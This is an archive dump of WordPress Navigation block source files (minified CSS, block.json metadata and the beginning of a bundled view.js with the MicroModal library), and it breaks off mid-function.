.wp-block-navigation__responsive-container.is-menu-open{top:0;right:0;bottom:0;left:0}@media (min-width:600px){.wp-block-navigation__responsive-close{pointer-events:none}.wp-block-navigation__responsive-close .block-editor-block-list__layout *,.wp-block-navigation__responsive-close .wp-block-navigation__responsive-container-close{pointer-events:all}}.wp-block-navigation__responsive-close .wp-block-pages-list__item__link{pointer-events:none}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{padding:0;height:auto;color:inherit}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation .components-spinner{padding:8px 12px}.wp-block-navigation__unsaved-changes{position:relative}.wp-block-navigation__unsaved-changes .components-spinner{position:absolute;top:calc(50% - 8px);left:calc(50% - 8px);opacity:0;animation:fadein .5s linear 2s normal forwards}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation__unsaved-changes-overlay.is-saving{opacity:1;animation:fadeouthalf .5s linear 2s normal forwards}.wp-block-navigation-delete-menu-button{width:100%;justify-content:center;margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{display:flex;align-items:center;width:100%;background-color:#f0f0f0;padding:0 24px;height:64px;margin-bottom:12px}.wp-block-navigation__overlay-menu-preview.open{box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid transparent;background-color:#fff}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}blocks/navigation/block.json000064400000005414147177035020012157 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/navigation", "title": "Navigation", "category": "theme", "description": "A collection of blocks that allow visitors to get around your site.", "keywords": [ "menu", "navigation", "links" ], "textdomain": "default", "attributes": { "ref": { "type": "number" }, "textColor": { "type": "string" }, "customTextColor": { "type": "string" }, "rgbTextColor": { "type": "string" }, "backgroundColor": { "type": "string" }, "customBackgroundColor": { "type": "string" }, "rgbBackgroundColor": { "type": "string" }, "showSubmenuIcon": { "type": "boolean", "default": true }, "openSubmenusOnClick": { "type": "boolean", "default": false }, "overlayMenu": { "type": "string", "default": "mobile" }, "hasIcon": { "type": "boolean", "default": true }, "__unstableLocation": { "type": "string" }, "overlayBackgroundColor": { "type": "string" }, "customOverlayBackgroundColor": { "type": "string" }, "overlayTextColor": { "type": "string" }, "customOverlayTextColor": { "type": "string" }, "maxNestingLevel": { "type": "number", "default": 5 } }, "providesContext": { "textColor": "textColor", "customTextColor": "customTextColor", "backgroundColor": "backgroundColor", "customBackgroundColor": "customBackgroundColor", "overlayTextColor": "overlayTextColor", "customOverlayTextColor": "customOverlayTextColor", "overlayBackgroundColor": "overlayBackgroundColor", "customOverlayBackgroundColor": "customOverlayBackgroundColor", "fontSize": "fontSize", "customFontSize": "customFontSize", "showSubmenuIcon": "showSubmenuIcon", "openSubmenusOnClick": "openSubmenusOnClick", "style": "style", "orientation": "orientation", "maxNestingLevel": "maxNestingLevel" }, "supports": { "align": [ "wide", "full" ], "anchor": true, "html": false, "inserter": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalTextTransform": true, "__experimentalFontFamily": true, "__experimentalTextDecoration": true, "__experimentalSkipSerialization": [ "textDecoration" ], "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "blockGap": true, "units": [ "px", "em", "rem", "vh", "vw" ], "__experimentalDefaultControls": { "blockGap": true } }, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "allowVerticalAlignment": false, "default": { "type": "flex" } } }, "viewScript": "file:./view.min.js", "editorStyle": "wp-block-navigation-editor", "style": "wp-block-navigation" } blocks/navigation/style-rtl.min.css000064400000034243147177035020013427 0ustar00.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-top:0;margin-bottom:0;margin-right:0;padding-right:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{display:flex;align-items:center;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{color:inherit;display:block;padding:0}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;line-height:0;display:inline-block;font-size:inherit;padding:0;background-color:inherit;color:currentColor;border:none;width:.6em;height:.6em;margin-right:.25em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;width:inherit;height:inherit;margin-top:.075em}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container){background-color:inherit;color:inherit;position:absolute;z-index:2;display:flex;flex-direction:column;align-items:normal;opacity:0;transition:opacity .1s linear;visibility:hidden;width:0;height:0;overflow:hidden;right:-1px;top:100%}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container)>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container)>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:0;margin-right:auto}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container:before{content:"";position:absolute;left:100%;height:100%;display:block;width:.5em;background:transparent}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon{margin-left:.25em}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon svg{transform:rotate(90deg)}}.wp-block-navigation .has-child:where(:not(.open-on-click)):hover>.wp-block-navigation__submenu-container{visibility:visible;overflow:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-navigation .has-child:where(:not(.open-on-click):not(.open-on-hover-click)):focus-within>.wp-block-navigation__submenu-container{visibility:visible;overflow:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container{visibility:visible;overflow:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{right:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:0}}.wp-block-navigation-submenu{position:relative;display:flex}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:transparent;border:none;color:currentColor;font-size:inherit;font-family:inherit;line-height:inherit;font-style:inherit;font-weight:inherit;text-transform:inherit;text-align:right}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-right:-.6em;pointer-events:none}.wp-block-navigation,.wp-block-navigation .wp-block-page-list,.wp-block-navigation:where(.has-background),.wp-block-navigation:where(.has-background) .wp-block-navigation .wp-block-page-list,.wp-block-navigation:where(.has-background) .wp-block-navigation__container,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}.wp-block-navigation:where(.has-background) .wp-block-navigation-item__content,.wp-block-navigation :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content{padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{right:auto;left:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:-1px;left:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:auto;left:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;color:#000;border:1px solid rgba(0,0,0,.15)}.wp-block-navigation__container{display:flex;flex-wrap:var(--navigation-layout-wrap,wrap);flex-direction:var(--navigation-layout-direction,initial);justify-content:var(--navigation-layout-justify,initial);align-items:var(--navigation-layout-align,initial);list-style:none;margin:0;padding-right:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}.wp-block-navigation__responsive-container{display:none;position:fixed;top:0;right:0;left:0;bottom:0}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{display:flex;flex-wrap:var(--navigation-layout-wrap,wrap);flex-direction:var(--navigation-layout-direction,initial);justify-content:var(--navigation-layout-justify,initial);align-items:var(--navigation-layout-align,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){color:inherit!important;background-color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{display:flex;flex-direction:column;background-color:inherit;padding:2rem;overflow:auto;z-index:100000}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{padding-top:calc(2rem + 24px);overflow:visible;display:flex;flex-direction:column;flex-wrap:nowrap;align-items:var(--navigation-layout-justification-setting,inherit)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{opacity:1;visibility:visible;height:auto;width:auto;overflow:initial;min-width:200px;position:static;border:none;padding-right:2rem;padding-left:2rem}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{display:flex;flex-direction:column;align-items:var(--navigation-layout-justification-setting,initial)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{color:inherit!important;background:transparent!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){display:block;width:100%;position:relative;z-index:auto;background-color:inherit}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff;color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{vertical-align:middle;cursor:pointer;color:currentColor;background:transparent;border:none;margin:0;padding:0}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;pointer-events:none;display:block;width:24px;height:24px}.wp-block-navigation__responsive-container-open{display:flex}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;top:0;left:0;z-index:2}.wp-block-navigation__responsive-close{width:100%}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}html.has-modal-open{overflow:hidden}blocks/navigation/view.asset.php000064400000000137147177035020012770 0ustar00 array(), 'version' => '2961774fadf00b77b1ba3f439386c681');blocks/navigation/editor-rtl.min.css000064400000024244147177035020013555 0ustar00.editor-styles-wrapper .wp-block-navigation ul{margin-top:0;margin-bottom:0;margin-right:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation__container.is-parent-of-selected-block{visibility:visible;opacity:1;overflow:visible}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{color:#fff;background:#1e1e1e;padding:0;width:24px;border-radius:2px;margin-left:0;margin-right:auto}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{height:30px;position:relative;margin:0 auto;padding:3px;display:flex;align-items:center;border-radius:4px}.block-library-colors-selector .block-library-colors-selector__state-selection{margin-right:auto;margin-left:auto;border-radius:11px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);width:22px;min-width:22px;height:22px;min-height:22px;line-height:20px;padding:2px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:transparent;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{outline:none;padding:0;box-shadow:none;background:none;min-height:0;color:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder .components-spinner{margin-top:0}.wp-block-navigation-placeholder__preview{display:flex;align-items:center;min-width:96px;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:currentColor;background:transparent}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{content:"";display:block;position:absolute;top:0;left:0;bottom:0;right:0;border:1px dashed;opacity:.4;pointer-events:none;border-radius:inherit}.wp-block-navigation-placeholder__preview>svg{fill:currentColor;opacity:.4}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{padding:6px 8px;flex-direction:row;align-items:flex-start}.wp-block-navigation-placeholder__controls{border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;position:relative;z-index:1;float:right;width:100%}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{flex-direction:column;align-items:flex-start}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{margin-left:12px;height:36px}.wp-block-navigation-placeholder__actions__indicator{display:flex;padding:0 0 0 6px;align-items:center;justify-content:flex-start;line-height:0;height:36px;margin-right:4px}.wp-block-navigation-placeholder__actions__indicator svg{margin-left:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{display:flex;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;gap:6px;align-items:center;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-left:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{border:0;min-height:1px;min-width:1px;background-color:#1e1e1e;margin:auto 0;height:100%;max-height:16px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{top:93px;right:36px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{right:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{left:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{right:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}}@media (min-width:782px){.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{top:0;left:0;bottom:0;right:0}@media (min-width:600px){.wp-block-navigation__responsive-close{pointer-events:none}.wp-block-navigation__responsive-close .block-editor-block-list__layout *,.wp-block-navigation__responsive-close .wp-block-navigation__responsive-container-close{pointer-events:all}}.wp-block-navigation__responsive-close .wp-block-pages-list__item__link{pointer-events:none}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{padding:0;height:auto;color:inherit}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation .components-spinner{padding:8px 12px}.wp-block-navigation__unsaved-changes{position:relative}.wp-block-navigation__unsaved-changes .components-spinner{position:absolute;top:calc(50% - 8px);right:calc(50% - 8px);opacity:0;animation:fadein .5s linear 2s normal forwards}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation__unsaved-changes-overlay.is-saving{opacity:1;animation:fadeouthalf .5s linear 2s normal forwards}.wp-block-navigation-delete-menu-button{width:100%;justify-content:center;margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{display:flex;align-items:center;width:100%;background-color:#f0f0f0;padding:0 24px;height:64px;margin-bottom:12px}.wp-block-navigation__overlay-menu-preview.open{box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid transparent;background-color:#fff}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}blocks/navigation/view.js000064400000023530147177035020011501 0ustar00/******/ (function() { // webpackBootstrap /******/ "use strict"; var __webpack_exports__ = {}; ;// CONCATENATED MODULE: ./node_modules/micromodal/dist/micromodal.es.js function e(e,t){for(var o=0;oe.length)&&(t=e.length);for(var o=0,n=new Array(t);o0&&this.registerTriggers.apply(this,t(a)),this.onClick=this.onClick.bind(this),this.onKeydown=this.onKeydown.bind(this)}var i,a,r;return i=o,(a=[{key:"registerTriggers",value:function(){for(var e=this,t=arguments.length,o=new Array(t),n=0;n0&&void 0!==arguments[0]?arguments[0]:null;if(this.activeElement=document.activeElement,this.modal.setAttribute("aria-hidden","false"),this.modal.classList.add(this.config.openClass),this.scrollBehaviour("disable"),this.addEventListeners(),this.config.awaitOpenAnimation){var o=function t(){e.modal.removeEventListener("animationend",t,!1),e.setFocusToFirstNode()};this.modal.addEventListener("animationend",o,!1)}else this.setFocusToFirstNode();this.config.onShow(this.modal,this.activeElement,t)}},{key:"closeModal",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=this.modal;if(this.modal.setAttribute("aria-hidden","true"),this.removeEventListeners(),this.scrollBehaviour("enable"),this.activeElement&&this.activeElement.focus&&this.activeElement.focus(),this.config.onClose(this.modal,this.activeElement,e),this.config.awaitCloseAnimation){var o=this.config.openClass;this.modal.addEventListener("animationend",(function e(){t.classList.remove(o),t.removeEventListener("animationend",e,!1)}),!1)}else t.classList.remove(this.config.openClass)}},{key:"closeModalById",value:function(e){this.modal=document.getElementById(e),this.modal&&this.closeModal()}},{key:"scrollBehaviour",value:function(e){if(this.config.disableScroll){var t=document.querySelector("body");switch(e){case"enable":Object.assign(t.style,{overflow:""});break;case"disable":Object.assign(t.style,{overflow:"hidden"})}}}},{key:"addEventListeners",value:function(){this.modal.addEventListener("touchstart",this.onClick),this.modal.addEventListener("click",this.onClick),document.addEventListener("keydown",this.onKeydown)}},{key:"removeEventListeners",value:function(){this.modal.removeEventListener("touchstart",this.onClick),this.modal.removeEventListener("click",this.onClick),document.removeEventListener("keydown",this.onKeydown)}},{key:"onClick",value:function(e){(e.target.hasAttribute(this.config.closeTrigger)||e.target.parentNode.hasAttribute(this.config.closeTrigger))&&(e.preventDefault(),e.stopPropagation(),this.closeModal(e))}},{key:"onKeydown",value:function(e){27===e.keyCode&&this.closeModal(e),9===e.keyCode&&this.retainFocus(e)}},{key:"getFocusableNodes",value:function(){var e=this.modal.querySelectorAll(n);return Array.apply(void 0,t(e))}},{key:"setFocusToFirstNode",value:function(){var e=this;if(!this.config.disableFocus){var t=this.getFocusableNodes();if(0!==t.length){var o=t.filter((function(t){return!t.hasAttribute(e.config.closeTrigger)}));o.length>0&&o[0].focus(),0===o.length&&t[0].focus()}}}},{key:"retainFocus",value:function(e){var t=this.getFocusableNodes();if(0!==t.length)if(t=t.filter((function(e){return null!==e.offsetParent})),this.modal.contains(document.activeElement)){var o=t.indexOf(document.activeElement);e.shiftKey&&0===o&&(t[t.length-1].focus(),e.preventDefault()),!e.shiftKey&&t.length>0&&o===t.length-1&&(t[0].focus(),e.preventDefault())}else t[0].focus()}}])&&e(i.prototype,a),r&&e(i,r),o}(),a=null,r=function(e){if(!document.getElementById(e))return console.warn("MicroModal: ❗Seems like you have missed %c'".concat(e,"'"),"background-color: #f8f9fa;color: #50596c;font-weight: bold;","ID somewhere in your code. Refer example below to resolve it."),console.warn("%cExample:","background-color: #f8f9fa;color: #50596c;font-weight: bold;",'')),!1},s=function(e,t){if(function(e){e.length<=0&&(console.warn("MicroModal: ❗Please specify at least one %c'micromodal-trigger'","background-color: #f8f9fa;color: #50596c;font-weight: bold;","data attribute."),console.warn("%cExample:","background-color: #f8f9fa;color: #50596c;font-weight: bold;",''))}(e),!t)return!0;for(var o in t)r(o);return!0},{init:function(e){var o=Object.assign({},{openTrigger:"data-micromodal-trigger"},e),n=t(document.querySelectorAll("[".concat(o.openTrigger,"]"))),r=function(e,t){var o=[];return e.forEach((function(e){var n=e.attributes[t].value;void 0===o[n]&&(o[n]=[]),o[n].push(e)})),o}(n,o.openTrigger);if(!0!==o.debugMode||!1!==s(n,r))for(var l in r){var c=r[l];o.targetModal=l,o.triggers=t(c),a=new i(o)}},show:function(e,t){var o=t||{};o.targetModal=e,!0===o.debugMode&&!1===r(e)||(a&&a.removeEventListeners(),(a=new i(o)).showModal())},close:function(e){e?a.closeModalById(e):a.closeModal()}});"undefined"!=typeof window&&(window.MicroModal=l);/* harmony default export */ var micromodal_es = (l); ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/navigation/view.js /** * External dependencies */ // Responsive navigation toggle. function navigationToggleModal(modal) { const dialogContainer = modal.querySelector(`.wp-block-navigation__responsive-dialog`); const isHidden = 'true' === modal.getAttribute('aria-hidden'); modal.classList.toggle('has-modal-open', !isHidden); dialogContainer.toggleAttribute('aria-modal', !isHidden); if (isHidden) { dialogContainer.removeAttribute('role'); dialogContainer.removeAttribute('aria-modal'); } else { dialogContainer.setAttribute('role', 'dialog'); dialogContainer.setAttribute('aria-modal', 'true'); } // Add a class to indicate the modal is open. const htmlElement = document.documentElement; htmlElement.classList.toggle('has-modal-open'); } // Open on click functionality. function closeSubmenus(element) { element.querySelectorAll('[aria-expanded="true"]').forEach(function (toggle) { 